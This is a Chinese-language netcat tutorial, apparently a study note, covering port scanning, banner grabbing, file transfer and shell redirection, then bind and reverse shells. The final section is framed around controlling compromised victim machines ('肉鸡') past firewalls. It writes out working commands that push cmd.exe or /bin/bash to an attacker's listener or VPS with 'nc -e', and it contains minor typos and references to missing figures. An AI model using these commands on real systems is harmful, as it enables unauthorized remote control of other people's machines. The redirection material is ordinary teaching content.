一、NC工具
可以读写TCP/UDP网络连接,基于Socket协议工作 常用来反弹shell
常用参数
-l —-开启监听
-p ——指定端口
-t ——-以telnet形式应答
-e ——-程序重定向
-n ——-以数字形式表达
-v ——-显示执行命令过程 -v 详细输出——用两个-v可得到更详细的内容
-z —— 不进行交互,直接显示结果
-u ——使用udp协议传输
-w ——-设置传输时间
常见用法
#端口扫描
1、 nc -z -v -n 192.168.10.100 22-80 ##端口或者端口范围
2、当我们探测到80端口开启的话,后面会显示open,我们可以进一步探测其banner信息
命令:nc -v -n 192.168.10.100 80 按下回车 再输入 get 就会显示一些指纹信息
聊天
服务端:nc -lvp 8888 #监听8888端口 -l 监听 -v 显示详细信息 -p 指定端口
客户端:nc -nv 10.96.10.208 8888 #连接到服务器的8888端口 -n以数字形式显示ip -v显示详细信息
二、Shell输入/输出重定向
前言:
大多数UNIX命令是从你的终端接受输入并将产生的输出发送给你的终端,一个命令通常从一个叫做标准输入的地方读取输入,默认是你的终端,同样一个命令通常将其输出写入到标准输出,默认也是你的终端。
命令对应的解释:
command < file 将输入重定向到file
command > file 将输出重定向到file
command >> file 将输出以追加形式重定向到file
n > file 将文件描述符为n的文件重定向到file
n >& m 将输出文件m和n合并
n <& m 将输出文件m和n合并
<< tag 将开启标记tag和结束标记之间的内容作为输入
默认情况下,command > file 将 stdout 重定向到 file,command < file 将stdin 重定向到 file。
总结:
1、输出重定向
我对输出重定向的理解是 实践看真理
1、先创建一个文件夹
2.在文件夹test中创建一个文件test.txt 并写入hello world!
3、查看who查询后的结果
4、并who查询结果重定向到test.txt文件中,这时会发现说test.txt文件中的内容发生了变化,说明标准输出重定向成功(还不理解就回头去看什么是标准输出)
2、输入重定向
1、查看test.txt文件内容
2、重定向标准输入到test.txt文件中
3、可以看出cat命令如论在前还是在后 都不影响查询结果,因为cat命令默认去标准输入查询内容
4、看下图指示 0< test.txt的图解意思将标准输入0刚开始对应的/dev/tty 变成test.txt对象,cat指令本来要从标准输入读取数据,经过重定向后就变成从file读取数据
3、输出和输出合并重定向
& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
1、解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。
#下两图说明 &> 也是将输入和输出合并后重定向 并且得出&>等价于>&
下图说明test文件保存执行成功命令的结果
下图说明test文件会保存执行成功命令的结果,但同时也会保存执行命令失败的结果
2、不能随便改变重定向顺序,不然会出现不同的结果 如下图
0x01 文件描述符
linux启动会默认打开三个文件描述符,分别是:
1、标准输入 standard input 0 (默认设备键盘)
2、标准输出 standard output 1(默认设备显示器)
3、错误输出:error output (默认设备显示器)
默认情况下,command > file 将 stdout 重定向到 file,command < file 将stdin 重定向到 file。
专业名词:tty(控制终端)、tty0(虚拟终端的一个别名,系统所产生的信息会发送到该终端上.因此不管当前正在使用哪个虚拟终端,系统信息都会发送到控制台终端上) 、tty1-6(虚拟终端)
/dev/tty主要是针对进程来说的,而/dev/tty0是针对整个系统来说的
文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)
0x02 重定向
< 代表输入重定向
> 代表输出重定向
重点:
1、bash执行指令,会先判断命令是否存在重定向符号,如果存在则将文件描述符重定向,然后在去掉重定向,执行指令。
2、指令中如果存在多个重定向,不能随便改变顺序,因为重定向是从左到右解析的,改变顺序可能会带来不同的结果
3、<是对标准输入0重定向,>是对标准输出1重定向,
注:重定向是针对文件描述符的
三、文件传输
我们可以往nc客户端传输文件
服务端:nc -lvp 8888 < test.txt
客户端:nc -nv 10.95.211.100 8888 > test.txt
四、反弹shell
(用到反弹shell的原因:被控端因为防火墙限制、权限不足、端口被占用)
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的ip会动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell
反弹shell又分为正向和反向,区别在于谁(受害者主机/攻击者服务端)监听
Netcat 正向反弹shell是在靶机上监听端口,然后攻击者连接;反向反弹shell 是在攻击者主机上监听端口,然后靶机连接。
反弹shell/正向(目标是windows)
所谓正向连接的意思是我们将肉鸡的cmd命令弹到肉鸡8888端口上面,然后我们的主机在主动去连接肉鸡的8888端口即可控制肉鸡的cmd命令
我们将该肉鸡的cmd命令弹到8888端口
肉鸡:nc -lvv -p 8888 -t -e cmd.exe
主机:nc -nvv 192.168.10.100 8888
反弹shell/正向(目标是linux)
目标主机期监听8888端口,反弹bash到8888端口
nv -lvp 8888 -t -e /bin/bash
我们主动来连接目标主机的8888端口
nc -nvv 192.168.100.100 8888
反弹shell/反向(目标是windows)
我们主机:nc -lvp 8888
肉鸡:nc -t -e cmd.exe 192.126.10.100 8888
反弹shell/反向(目标是linux)
所谓反向连接的意思是我们VPS去监听自己的8888端口,肉鸡会主动连接我们的8888端口,然后将流量传输进来
我们VPS监听8888端口:nc -lvp 8888
肉鸡:nc VPS地址 8888 -e /bin/bash
反弹shell
bash -i 意为创建一个交互式shell